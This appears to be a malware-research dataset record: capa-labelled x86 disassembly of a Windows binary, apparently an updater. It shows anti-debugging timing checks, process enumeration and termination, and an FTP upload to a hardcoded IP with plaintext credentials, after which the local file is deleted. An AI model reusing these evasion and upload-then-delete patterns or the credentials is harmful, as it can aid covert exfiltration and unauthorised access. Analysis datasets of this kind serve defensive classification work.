joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4207d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x454368], 0
push esi
push edi
mov edi, eax
jne 0x4207e7
mov esi, 0x454358
call fcn.00420360
mov eax, dword [0x45476c]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jle 0x420800
mov esi, dword [eax*4 + 0x454368]
jmp 0x42082f
jne 0x42082d
mov eax, 0x454358
call fcn.00420140
mov esi, eax
test esi, esi
jne 0x42082f
mov ecx, dword [0x45476c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x42082f
call dword [sym.imp.MSVCR80.dll_abort]
jmp 0x42082f
xor esi, esi
test edi, edi
je 0x420842
mov eax, dword [edi - 4]
test al, 2
je 0x420842
and eax, 0xfffffff8
sub eax, 8
jmp 0x420844
xor eax, eax
test edi, edi
je 0x420868
test esi, esi
je 0x42085f
cmp eax, 0x2008
ja 0x42085f
push eax
call fcn.004202d0
add esp, 4
pop edi
pop esi
ret
push edi
call fcn.0041f9f0
add esp, 4
pop edi
pop esi
ret

Function at 0x420870
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
cmp ebx, 0x10
push ebp
push edi
jae 0x420881
mov ebx, 0x10
cmp dword [0x454368], 0
push esi
jne 0x420895
mov esi, 0x454358
call fcn.00420360
mov eax, dword [0x45476c]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
mov ebp, dword [sym.imp.MSVCR80.dll_abort]
jle 0x4208b6
mov esi, dword [eax*4 + 0x454368]
mov ecx, dword [esi]
jmp 0x4208e8
jne 0x4208e1
mov eax, 0x454358
call fcn.00420140
mov esi, eax
test esi, esi
jne 0x4208b2
mov ecx, dword [0x45476c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x4208dd
call ebp
xor ecx, ecx
jmp 0x4208e8
or ecx, 0xffffffff
xor esi, esi
sub ecx, eax
mov edi, dword [ecx*4 + 0x454770]
mov edx, dword [edi + 0x1bc]
test edx, edx
lea eax, [edi + 0x1bc]
mov dword [esp + 0x18], ecx
je 0x42091a
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x24]
mov edx, dword [eax + 8]
cmp edx, ecx
jne 0x42093d
add dword [eax + 4], 1
jmp 0x420953
mov ecx, 1
mov edx, eax
xchg dword [edx], ecx
test ecx, ecx
jne 0x42093d
mov ecx, dword fs:[0x18]
mov edx, dword [ecx + 0x24]
mov dword [eax + 8], edx
mov dword [eax + 4], 1
jmp 0x420953
push ebx
lea eax, [esp + 0x1c]
push eax
push esi
push 0x454358
call fcn.004204c0
add esp, 0x10
mov edi, eax
mov ecx, dword [0x4547b4]
cmp dword [edi + 0x24], ecx
pop esi
je 0x420965
call ebp
xor eax, eax
jmp 0x420974
mov eax, dword [esp + 0x10]
push edi
mov ecx, ebx
call fcn.0041f230
add esp, 4
add dword [edi + 0x1c0], 0xffffffff
lea ecx, [edi + 0x1bc]
pop edi
pop ebp
pop ebx
jne 0x420991
mov dword [ecx + 8], 0
xor edx, edx
xchg dword [ecx], edx
ret

Function at 0x420a20
Capabilities:
Hash data using crc32b

Disassembly:
cmp byte [0x4a4585], 0
jne 0x420a6c
xor ecx, ecx
mov edx, 0x4a36f8
push esi
mov eax, ecx
shl eax, 0x18
mov esi, 8
jmp 0x420a40
test eax, eax
jns 0x420a4d
add eax, eax
xor eax, 0x4c11db7
jmp 0x420a4f
add eax, eax
sub esi, 1
jne 0x420a40
mov dword [edx], eax
add ecx, 1
add edx, 4
cmp ecx, 0x100
jb 0x420a31
mov byte [0x4a4585], 1
pop esi
ret
Function at 0x420bb0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
movss xmm1, dword [0x445450]
movss xmm0, dword [0x4a4888]
sub esp, 0x38
comiss xmm1, xmm0
push ebx
push ebp
push esi
push edi
jbe 0x420d16
fld1
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
fstp qword [0x4547d0]
mov dword [esp + 0x14], 3
jmp 0x420bf2
fstp st(0)
fldz
fstp qword [esp + 0x28]
mov dword [esp + 0x10], 0
rdtsc
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], eax
call ebx
mov edi, eax
mov edi, edi
fld qword [esp + 0x28]
fsqrt
fadd qword [esp + 0x28]
fadd qword [0x445448]
fstp qword [esp + 0x28]
fld qword [esp + 0x28]
call fcn.00436b80
mov ecx, eax
add ecx, 0x22b
mov eax, 0x4ec4ec4f
imul ecx
mov ecx, dword [esp + 0x10]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, ecx
mov dword [esp + 0x10], eax
call ebx
mov esi, eax
mov edx, esi
sub edx, edi
cmp edx, 0xc8
jb 0x420c10
rdtsc
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1c]
push 1
cdq
push 0
push edx
push eax
call fcn.004375c0
mov ecx, dword [esp + 0x18]
xor ebp, ebp
add eax, ecx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x24]
adc edx, ebp
push 1
mov dword [esp + 0x38], edx
fild qword [esp + 0x34]
cdq
push ebp
push edx
push eax
call fcn.004375c0
mov ecx, dword [esp + 0x20]
add eax, ecx
adc edx, ebp
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], edx
fild qword [esp + 0x38]
sub esi, edi
test esi, esi
mov dword [esp + 0x10], esi
fsubp st(1)
fmul qword [0x445440]
fild dword [esp + 0x10]
jge 0x420cd0
fadd qword [0x445438]
fdivp st(1)
lea eax, [esp + 0x40]
fld1
fdivrp st(1)
fst qword [esp + 0x40]
fld qword [0x4547d0]
fcompi st(1)
fstp st(0)
ja 0x420cef
mov eax, 0x4547d0
sub dword [esp + 0x14], 1
fld qword [eax]
fst qword [0x4547d0]
jne 0x420bf0
fdivr qword [0x445430]
fstp dword [0x4a4888]
movss xmm0, dword [0x4a4888]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420d20
Capabilities:
Get disk information
Get disk size

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x4500
xor edi, edi
push edi
push 0x44fe00
mov dword [0x4747d8], eax
call sub.MSVCR80.dll_memset
mov ebp, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
add esp, 0xc
xor ebx, ebx
mov esi, 0x44fe11
mov ecx, ebx
mov eax, 1
shl eax, cl
mov ecx, dword [0x4747d8]
test ecx, eax
je 0x420dcd
push pe_nt_image_headers32
mov al, bl
add al, 0x41
mov dword [esp + 0x14], 0x5c3a43
mov dl, byte [esp + 0x15]
mov byte [esp + 0x14], al
mov byte [esi - 1], al
lea eax, [esi + 0x113]
push eax
lea ecx, [esi + 0x10f]
push ecx
push edi
push edi
mov byte [esi], dl
push pe_nt_image_headers32
lea edx, [esi + 0xf]
push edx
lea eax, [esp + 0x2c]
push eax
mov byte [esi + 1], 0
call ebp
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x420dcd
push edi
lea edx, [esi - 0x11]
push edx
lea eax, [esi - 9]
push eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x420dd9
mov dword [esi - 0xd], edi
mov dword [esi - 0x11], edi
mov dword [esi - 5], edi
mov dword [esi - 9], edi
add esi, 0x228
add ebx, 1
cmp esi, 0x454311
jl 0x420d52
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x420e70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [0x4747dc], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
lea eax, [esp + 0x14]
push 0
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
lea esp, [esp]
mov eax, dword [0x4747dc]
mov edi, eax
imul edi, edi, 0x128
add eax, 1
add edi, 0x477060
cmp eax, 0x200
mov ecx, 0x4a
lea esi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov dword [0x4747dc], eax
jae 0x420f0c
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x420ed0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00436b14
mov esp, ebp
pop ebp
ret
Function at 0x4256f0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, eax
call fcn.00420a20
mov al, byte [edi]
xor esi, esi
test al, al
je 0x42572c
push ebx
mov ebx, dword [sym.imp.MSVCR80.dll_toupper]
movsx eax, al
push eax
add edi, 1
call ebx
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4a36f8]
mov al, byte [edi]
add esp, 4
test al, al
jne 0x425708
pop ebx
pop edi
mov eax, esi
pop esi
ret

Function at 0x428bc0
Capabilities:
Write file on windows

Disassembly:
push esi
push 0x4439c0
push str.updater.log
call dword [sym.imp.MSVCR80.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x428c12
cmp dword [esp + 0x20], 0x10
mov eax, dword [esp + 0xc]
jae 0x428be9
lea eax, [esp + 0xc]
mov ecx, dword [esp + 0x1c]
push edi
mov edi, dword [sym.imp.MSVCR80.dll_fwrite]
push esi
push 1
push ecx
push eax
call edi
push esi
push 1
push 1
push 0x44459c
call edi
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 0x24
pop edi
lea ecx, [esp + 8]
pop esi
jmp dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]

Function at 0x428c20
Capabilities:
Check mutex on windows
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x43760b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x44f008]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
push str.packMutex
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x43f4f0
mov ebx, eax
call dword [sym.imp.MSVCR80.dll_printf]
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x30], esp
push str.________ready_to_update________
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00428bc0
add esp, 0x1c
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push 0x10
call fcn.00420070
add esp, 8
mov dword [esp + 0x14], eax
cmp eax, ebp
mov dword [esp + 0x20], ebp
je 0x428ca7
mov ecx, eax
call fcn.0042bf60
mov ebp, eax
cmp dword [esp + 0x28], 1
mov dword [esp + 0x20], 0xffffffff
jle 0x428cd4
mov eax, dword [esp + 0x2c]
mov esi, dword [eax + 4]
mov edi, str.AutoRun
mov ecx, 8
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
mov byte [0x4a42fc], 1
je 0x428cdb
mov byte [0x4a42fc], 0
mov ecx, ebp
call fcn.0042d790
test ebp, ebp
je 0x428cf6
mov ecx, ebp
call fcn.0042bf80
push ebp
call fcn.00420060
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x42ab00
Capabilities:
Connect to http server
Create http request
Delete file
Send file using ftp

Disassembly:
push edi
push 0
push 0
push 0
push 1
push str.tyj_mini
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [0x44fa68], eax
je 0x42ab5e
push 0
push 0
push 1
push str.sunJUN987
push str.sunjun
push 0x15
push str.117.41.228.177
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [0x44fa64], eax
jne 0x42ab63
mov eax, dword [0x44fa68]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [0x44fa68], 0
pop edi
ret
mov eax, dword [0x44fa64]
push ebx
mov ebx, dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
push ebp
push esi
push str.tyj_updater
push eax
call ebx
mov ecx, dword [0x44fa64]
mov ebp, dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryA]
push str.tyj_updater
push ecx
call ebp
cmp dword [edi + 0x18], 0x10
lea esi, [edi + 4]
jb 0x42ab95
mov eax, dword [esi]
jmp 0x42ab97
mov eax, esi
mov edx, dword [0x44fa64]
push eax
push edx
call ebx
mov ebx, 0x10
cmp dword [edi + 0x18], ebx
jb 0x42abad
mov esi, dword [esi]
mov eax, dword [0x44fa64]
push esi
push eax
call ebp
mov ecx, dword [esp + 0x18]
cmp dword [ecx + 0x18], ebx
jb 0x42abc4
mov ecx, dword [ecx + 4]
jmp 0x42abc7
add ecx, 4
mov ebp, dword [esp + 0x14]
cmp dword [ebp + 0x18], ebx
lea esi, [ebp + 4]
jb 0x42abd7
mov eax, dword [esi]
jmp 0x42abd9
mov eax, esi
push 0
push 2
push ecx
mov ecx, dword [0x44fa64]
push eax
push ecx
call dword [sym.imp.WININET.dll_FtpPutFileA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov eax, dword [0x44fa60]
test eax, eax
je 0x42ac00
push eax
call edi
mov eax, dword [0x44fa64]
test eax, eax
je 0x42ac0c
push eax
call edi
mov eax, dword [0x44fa68]
test eax, eax
je 0x42ac18
push eax
call edi
xor eax, eax
cmp ebx, eax
mov dword [0x44fa60], eax
mov dword [0x44fa64], eax
mov dword [0x44fa68], eax
je 0x42ac3c
cmp dword [ebp + 0x18], 0x10
jb 0x42ac35
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop ebp
pop ebx
pop edi
ret
Function at 0x42acb0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x43b802
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x44f008]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov eax, dword [esp + 0x20]
mov edi, 0x10
cmp dword [esp + 0x34], edi
mov dword [esp + 0x14], 1
jae 0x42aced
lea eax, [esp + 0x20]
push 0
push 0x4439c0
push eax
call fcn.00428d20
mov esi, eax
add esp, 0xc
test esi, esi
je 0x42ad38
cmp dword [esp + 0x50], edi
mov eax, dword [esp + 0x3c]
jae 0x42ad11
lea eax, [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
mov edi, dword [sym.imp.MSVCR80.dll_fwrite]
push esi
push 1
push ecx
push eax
call edi
push esi
push 1
push 1
push 0x44459c
call edi
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 0x24
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x38]
mov dword [esp + 0x14], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret
Function at 0x42b120
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x437b3c
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x44f008]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x44f008]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov edi, dword [esp + 0x4c]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 0
cmp dword [esp + 0x68], 0x10
mov eax, dword [esp + 0x54]
mov ebx, 1
mov dword [esp + 0x44], ebx
jae 0x42b17a
lea eax, [esp + 0x54]
push 0
push 0x443a04
push eax
call fcn.00428d20
mov esi, eax
add esp, 0xc
test esi, esi
je 0x42b237
mov edi, dword [sym.imp.MSVCR80.dll_fseek]
push 2
push 0
push esi
call edi
push esi
call dword [sym.imp.MSVCR80.dll_ftell]
push 0
push 0
push esi
mov ebp, eax
call edi
lea ebx, [ebp + 1]
push ebx
push 0x10
call fcn.00420070
push ebx
mov edi, eax
push 0
push edi
call sub.MSVCR80.dll_memset
push esi
push 1
push ebp
push edi
call dword [sym.imp.MSVCR80.dll_fread]
add esp, 0x40
push edi
lea ecx, [esp + 0x20]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push esi
mov byte [esp + 0x48], 2
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
test edi, edi
je 0x42b1fc
push edi
call fcn.00420060
add esp, 4
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 1
mov byte [esp + 0x44], 1
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x50]
mov byte [esp + 0x44], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
jmp 0x42b259
push 0x4439a3
mov ecx, edi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x50]
mov dword [esp + 0x14], ebx
mov byte [esp + 0x44], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, edi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.00436b14
add esp, 0x34
ret
Function at 0x42b7f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x44f008]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x42b835
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x42b84e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.00436b14
add esp, 0x12c
ret
push edi
mov edi, dword [esp + 0x13c]
mov ecx, edi
lea eax, [esp + 0x30]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42b880
test dl, dl
je 0x42b87c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42b880
add eax, 2
add ecx, 2
test dl, dl
jne 0x42b860
xor eax, eax
jmp 0x42b885
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x42b8d9
lea esp, [esp]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x42b8dd
mov ecx, edi
lea eax, [esp + 0x30]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42b8d0
test dl, dl
je 0x42b8cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42b8d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x42b8b0
xor eax, eax
jmp 0x42b8d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x42b890
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00436b14
add esp, 0x12c
ret

Function at 0x42b900
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
movzx ecx, word [esp + 4]
push edi
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42b91c
pop edi
ret
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, dword [esp + 0x18]
push edi
push 0
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x42b945
pop esi
pop edi
ret
mov eax, dword [esi]
push ebx
add eax, 1
push eax
push 0x10
call fcn.00420070
mov ebx, dword [esp + 0x20]
mov dword [ebx], eax
mov edx, dword [esi]
add edx, 1
push edx
push 0
push eax
call sub.MSVCR80.dll_memset
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push edi
push ecx
call sub.MSVCR80.dll_memcpy
add esp, 0x20
pop ebx
pop esi
mov eax, 1
pop edi
ret
Function at 0x42c400
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x437e2c
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x44f008]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x44f008]
xor eax, esp
push eax
lea eax, [esp + 0x9c]
mov dword fs:[0], eax
push str.updater.exe
call fcn.0042b7f0
add esp, 4
test eax, eax
jbe 0x42c51c
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x42c515
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.MSVCR80.dll__itoa]
mov ebp, dword [sym.imp.MSVCP80.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x42c4ed
call edi
push 0x64
mov esi, eax
lea eax, [esp + 0x38]
push 0
push eax
call sub.MSVCR80.dll_memset
push 0xa
lea ecx, [esp + 0x44]
push ecx
push esi
call ebx
add esp, 0x18
push str.CloseUpdater__
lea ecx, [esp + 0x1c]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x30], esp
lea ecx, [esp + 0x50]
push ecx
push eax
push edx
mov dword [esp + 0xcc], 0
call ebp
add esp, 0xc
call fcn.00428bc0
add esp, 0x1c
lea ecx, [esp + 0x18]
mov dword [esp + 0xa4], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.updater.exe
call fcn.0042b7f0
add esp, 4
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x42c475
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x9c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.00436b14
add esp, 0x94
ret
Function at 0x42c630
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x437ebb
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
mov eax, dword [0x44f008]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
push str.nbres_packed.ty
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 1
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x30], 2
call dword [sym.imp.MSVCP80.dll_public:_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::compare_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__const]
test eax, eax
lea ecx, [esp + 8]
sete bl
mov byte [esp + 0x2c], 1
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
cmp bl, al
mov byte [esp + 0x2c], al
lea ecx, [esp + 0x34]
je 0x42c6c8
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x50]
mov dword [esp + 0x2c], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop ebx
add esp, 0x28
ret
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x50]
mov dword [esp + 0x2c], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop ebx
add esp, 0x28
ret

Function at 0x42c8e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0xc
test ecx, ecx
ja 0x42c908
xor ecx, ecx
lea edx, [ecx*4]
add esp, 0xc
mov dword [esp + 8], edx
mov dword [esp + 4], 0x10
jmp fcn.00420070
or eax, 0xffffffff
xor edx, edx
div ecx
cmp eax, 4
jae 0x42c8ed
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0
call dword [sym.imp.MSVCR80.dll_public:_void___thiscall_std::exception::constructor_char_const__const_const__]
push 0x4481e4
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], vtable.std::bad_alloc.0
call sub.MSVCR80.dll__CxxThrowException
int3